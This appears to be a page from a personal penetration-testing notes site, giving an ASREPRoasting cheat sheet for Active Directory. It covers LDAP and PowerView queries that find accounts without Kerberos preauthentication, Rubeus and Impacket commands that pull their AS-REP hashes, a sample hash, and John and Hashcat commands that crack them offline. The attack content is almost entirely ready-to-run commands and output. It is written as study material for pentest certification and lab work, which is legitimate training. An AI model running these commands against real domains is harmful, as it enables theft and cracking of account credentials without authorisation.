VulnableOne
  • 🧘‍♂️About Me
  • Offensive Treasure
    • 🧌Penetration Testing
      • Reconnaissance
        • Identify Ports/Hosts/Data
      • Enumeration
        • Service Ports
          • FTP (21)
          • SSH (22)
          • SMTP (25)
          • DNS (53)
          • TFTP (69/udp)
          • Finger (79)
          • SaMBa (139/445)
          • RPC/NFS (111/135)
          • SNMP (161/udp)
          • LDAP (389)
          • isakmp (500/udp)
          • Java (1099)
          • MS-SQL (1433)
          • MySQL (3306)
          • Distcc (3622)
          • PostgreSQL (5437)
          • Redis (6379)
      • Password Attack
        • Wordlist
        • Brute-Force
        • Crack Hash
      • File Transfer
        • Linux
        • Window
      • Misc
    • 🧙‍♂️AD Attack
      • Domain Enumeration
        • PowerView
        • AD-Module
        • Bloodhound
      • Abuse ACLs
        • GenericAll
        • GenericWrite
        • WriteDACL
        • ForceChangePassword
      • Kerberos Attack
        • Kerberoasting
        • ASREPRoasting
        • Unconstrained Delegation
        • Constrained Delegation
        • Resource Based Constrained Delegation
      • LAPs
      • MS SQL Servers
        • PowerUpSQL
        • SQL Server Management
        • Impacket-MSSQL
    • 🥷Red Team
      • Reconnaissance
        • Active Scanning
          • Scanning IP Blocks
          • Vulnerability Scanning
          • Wordlist Scanning
        • Gather Victim Host Information
          • Software
        • Gather Victim Identity Information
          • Credentials
          • Email Addresses
        • Search Open Websites/Domains
          • Social Media
          • Search Engines
          • Code Repositories
        • Search Victim-Owned Websites
      • Resource Development
        • C2 Infrastructure
        • Metasploit
      • Execution
        • Bash - Reverse Shell
        • HTA
        • JScript Dropper
        • Macro
        • Metasploit
        • Network Tools
        • Powershell
        • Python
        • VBA
        • Web Shell
        • WSH
      • Persistence
        • Logon Script
        • Startup Folder
        • WinLogon (Elevated)
        • Run / RunOnce (Elevated)
        • Scheduled Tasks (Elevated )
      • Privilege Escalation
        • Windows
          • SeBackup / SeRestore
          • SeTakeOwnership
          • SeImpersonate / SeAssignPrimaryToken
          • UAC Bypass
          • AutoInstall Elevate
          • Unquoted Service Paths
          • Weak Service Permissions
          • Weak Service Binary Permissions
        • Linux
          • Escalation
      • Defense Evasion
        • Bypassing AV
          • Pack Shellcode
        • Security Control
          • CLM
          • AppLocker
        • Use Alternate Authentication Material
          • Pass The Hash
          • Over Pass The Hash
          • Extract Tickets
          • Pass The Ticket
        • Impersonate
      • Credential Access
        • Adversary-in-the-Middle
          • LLMNR/NBT-NS/MDNS Poisoning
          • Evil SSDP
        • OS Credential Dumping
          • Protected LSASS
          • Invoke-Mimikatz
          • Mimikatz.exe
          • Secretsdump
          • Meterpreter Kiwi
          • Registry
          • Shadow Copy
          • DCSync
        • Steal or Forge Kerberos Tickets
          • Silver Ticket
          • Golden Ticket
        • Steal Web Session Cookie
      • Lateral Movement
        • Remote Access
        • Pivoting
          • Linux
          • Window
    • Web Application
      • Basic Recon
  • Blog
    • 📝Empty!!!
  • Course Review
    • 👨‍🎓Cyber Security Courses Journey
      • PNPT Journey
      • OSCP Journey
        • 🚩CTF
          • Hack The Box
            • Linux Boxes
              • ✅Admirer (Easy)
              • ✅Bashed (Easy)
              • ✅Beep (Easy)
              • ✅Blocky (Easy)
              • ✅FriendZone (Easy)
              • ✅Irked (Easy)
              • ✅Lame (Easy)
              • ✅Mirai (Easy)
              • ✅Networked (Easy)
              • ✅Nibbles (Easy)
              • ✅OpenAdmin (Easy)
              • ✅Sense (Easy)
              • ✅Shocker (Easy)
              • ✅Sunday (Easy)
              • ✅Tabby (Easy)
              • ✅Traverxec (Easy)
              • ✅Valentine (Easy)
              • ✅Cronos (Medium)
              • ✅Haircut (Medium)
              • ✅Jarvis (Medium)
              • ✅Magic (Medium)
              • ✅Nineveh (Medium)
              • ✅Node (Medium)
              • ✅Poison (Medium)
              • ✅SolidState (Medium)
              • ✅TartarSauce (Medium)
            • Window Boxes
              • ✅Arctic (Easy)
              • ✅Active (Easy)
              • ✅Blue (Easy)
              • ✅Bounty (Easy)
              • ✅Devel (Easy)
              • ✅Forest (Easy)
              • ✅Granny (Easy)
              • ✅Granpa (Easy)
              • ✅Jerry (Easy)
              • ✅Legacy (Easy)
              • ✅Optimum (Easy)
              • ✅Bastard (Medium)
              • ✅Silo (Medium)
          • Buffer Overflow
            • BOF - Tib3rius
            • BOF - TCM
              • 1- Spiking
              • 2- Fuzzing
              • 3- Finding Offset
              • 4- Overwriting EIP
              • 5- Finding Bad Characters
              • 6- Finding the Right Module
              • 7- Generating Shellcode
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On this page
  • Discovery ASREP account
  • Rubeus
  • Impacket
  • Crack Hash
  • John
  • Hashcat
  1. Offensive Treasure
  2. AD Attack
  3. Kerberos Attack

ASREPRoasting

Discovery ASREP account

# ADSearch
ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

# PowerView
Get-DomainUser -PreauthNotRequired

Rubeus

C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:svc /nowrap

Impacket

└─$ impacket-GetNPUsers vulnableone.local/app-svc -dc-ip 10.10.10.10 -no-pass
└─$ impacket-GetNPUsers -no-pass -usersfile svc.txt -dc-ip 10.10.10.10 'vulnableone.local/'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

$krb5asrep$23$svc-admin@VULNABLEONE.LOCAL:abe0d0e1b34713c079bfcada6483eaf6...

Crack Hash

John

$ kirb2j0hn ticket.kirbi > crackfile
john --format=krb5asrep --wordlist=wordlist svc-admin

$ john --format=krb5asrep --wordlist=wordlist svc-admin

Hashcat

hashcat -a 0 -m 18200 svc-admin wordlist
PreviousKerberoastingNextUnconstrained Delegation

Last updated 1 year ago

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